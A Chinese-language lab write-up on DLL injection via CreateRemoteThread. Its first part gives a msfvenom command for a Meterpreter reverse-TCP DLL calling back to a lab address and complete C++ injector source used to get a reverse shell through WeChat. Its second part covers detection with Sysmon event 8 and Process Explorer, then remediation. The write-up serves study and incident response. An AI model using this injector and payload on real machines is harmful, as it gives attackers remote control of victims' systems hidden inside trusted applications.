1. 概述

这里面介绍的createremotethreat注入不论是注入到微信还是网网易云音乐,其注入的是微信和网易,但真实的却是使用rundll32.exe进程来通信,处置的时候直接重启微信和网易是不行的,需要把rundll32.exe重启或关闭。
注入是注入到微信或网易等应用程序里面,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe
image.png
image.png

2. 实践

2.1 生成DLL马

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.235.128 lport=1111 -f dll > 3.dll

image.png
将生成后的dll马拷贝到windows系统中

2.2 编译DLL注入代码

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. int main(int argc, char* argv[])
  4. {
  5. DWORD dwDesiredAccess = PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
  6. BOOL bInheritHandle = 0;
  7. DWORD dwProcessId;
  8. PCWSTR dllPath = TEXT("C:\\Users\\Administrator\\Desktop\\3.dll"); //设置DLLL路径
  9. int dlllen = lstrlen(dllPath);
  10. int dllbytes = dlllen * 2; //计算dll路径长度
  11. if (argc == 2) {
  12. dwProcessId = atoi(argv[1]);
  13. }
  14. else {
  15. printf("Example:test.exe <process_id>\n");
  16. exit(1);
  17. }
  18. HANDLE process = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId); //读取进程获取句柄
  19. if (process == 0) {
  20. printf("[-] OpenProcess failure,Error code:%d\n", GetLastError());
  21. exit(1);
  22. }
  23. else {
  24. printf("[*] OpenProcess Sucess\n");
  25. }
  26. LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
  27. if (vallex == 0) {
  28. printf("[-] VirtualAllocEx failure,Error Code:%d\n", GetLastError());
  29. exit(1);
  30. }
  31. else {
  32. printf("[*] VirtualAllocEx Sucess\n");
  33. }
  34. if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
  35. printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
  36. exit(1);
  37. }
  38. else {
  39. printf("[*] WriteProcessMemory Sucess\n");
  40. }
  41. FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
  42. if (moduleaddress == 0) {
  43. printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
  44. exit(1);
  45. }
  46. else {
  47. printf("[*] GetProcAddress Sucess\n");
  48. }
  49. HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
  50. if (createthread_ == 0) {
  51. printf("[-] createthread failure,Error Code:%d\n", GetLastError());
  52. exit(1);
  53. }
  54. else {
  55. printf("[*] CreateRemoteThread Sucess\n");
  56. WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
  57. }
  58. return 0;
  59. }

image.png
image.png
这里面使用VS2019来编译并生成相应的EXE文件
可以使用ctrl+f7生成obj文件;然后使用ctrl+f5生成exe文件。
这个exe其实是将msf生成的dll程序进行加载了,然后再注入到相应的PID中。

2.3 配置监听

image.png

2.4 DLL注入

在这里面我们将DLL注入到微信程序中,可以看到微信的PID。(这里面很多进程有防护机制,不好注入,需要多测试几次,经过前期测试分析,微信和搜狗这种应用层的程序比较好注入,像svchost.exe这种系统层的程序很难直接注入成功)
image.png
直接进行注入。
image.png
后面完善了代码,获取了相应的地址
image.png

2.5 反弹shell

image.png

3. 分析

3.1 特点

经测试,不论是注入到微信还是网网易云音乐,其注入的是微信和网易,但真实的却是使用rundll32.exe进程来通信,处置的时候直接重启微信和网易是不行的,需要把rundll32.exe重启或关闭。
注入是注入到微信或网易等应用程序里面,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe

3.2 日志分析

这里面我们使用sysmon进行日志分析,直接过滤sysmon类型8的日志就可以看到相应的日志,可以看到注入的PID和线程ID、开始地址、开始模板、开始功能等

  1. TargetProcessId: 17796
  2. TargetImage: D:\Program Files (X86)\Tencent\WeChat\wechatweb.exe
  3. NewThreadId: 18404
  4. StartAddress: 0x00000000759C9CC0
  5. StartModule: C:\WINDOWS\System32\KERNEL32.DLL
  6. StartFunction: LoadLibraryW

image.png

3.3 ProcessExplorer分析

3.3.1 进程分析

这里面我们看到,虽然注入选择的是微信的PID,但是真实注入的是rundll32.exe
image.png
image.png

3.3.2 线程分析

image.png
根据上面sysmon的日志,可以定位到恶意的线程

  1. TargetProcessId: 17796
  2. TargetImage: D:\Program Files (X86)\Tencent\WeChat\wechatweb.exe
  3. NewThreadId: 18404
  4. StartAddress: 0x00000000759C9CC0
  5. StartModule: C:\WINDOWS\System32\KERNEL32.DLL
  6. StartFunction: LoadLibraryW

image.png
后面增加了获取地址的代码后,相关的
image.png

3.3.3 DLL分析

image.png
看一下DLL的信息
image.png

4. 处置

通过前面的分析我们找到了相应的线程,本以为直接把线程干掉就可以了,测试的时候干掉进程还是不行的。
image.png

4.1 无持久化

4.1.1 重启进程

一般情况下,若无持久化的话可以直接将相应的进程重启就可以了。这里面我们看到本来是注入到微信程序,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe
image.png
直接重启这个exe程序
image.png

4.1.2 直接干掉DLL

直接干掉dll必须重启系统才能生效
image.png

4.2 有持久化

持久化主流四种方式:注册表、计划任何、启动项、服务。后期针对这一块会进行专门的介绍。

5. referers

https://422926799.github.io/posts/7c405794.html